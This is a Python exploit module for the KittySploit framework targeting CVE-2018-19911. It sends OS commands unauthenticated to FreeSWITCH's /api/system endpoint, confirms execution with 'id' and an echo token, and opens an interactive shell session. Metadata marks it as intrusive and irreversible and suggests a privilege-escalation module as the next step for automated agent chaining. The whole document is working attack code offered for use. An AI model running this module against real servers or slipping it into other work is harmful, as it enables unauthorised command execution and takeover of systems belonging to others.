FreeSWITCH - /api/system Command Execution (CVE-2018-19911)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FreeSWITCH /api/system RCE (CVE-2018-19911) — opens execute session."""

import re
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'FreeSWITCH - /api/system Command Execution (CVE-2018-19911)',
        'description': (
            'Exploits CVE-2018-19911 by passing OS commands to /api/system/?<cmd>. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2018-19911'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2018-19911'],
        'tags': ['freeswitch', 'rce', 'unauth', 'cve-2018-19911'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': [
                    'post/shell/multi/gather/privesc_suggester',
                    'scanner/http/cve_2018_19911_detect',
                ],
            },
        },
    }

    base_path = OptString('', 'Optional FreeSWITCH HTTP base path', required=False)
    api_path = OptString('/api/system', 'API system endpoint', required=False)

    def _prefix(self) -> str:
        base = str(self.base_path or '').strip()
        if not base or base == '/':
            return ''
        if not base.startswith('/'):
            base = '/' + base
        return base.rstrip('/')

    def execute(self, cmd: str) -> str:
        api = str(self.api_path or '/api/system')
        path = f'{self._prefix()}{api}/?{quote(str(cmd), safe="")}'
        r = self.http_request(method='GET', path=path, allow_redirects=False)
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'CVE-2018-19911 confirmed: id via /api/system',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'No command output observed',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()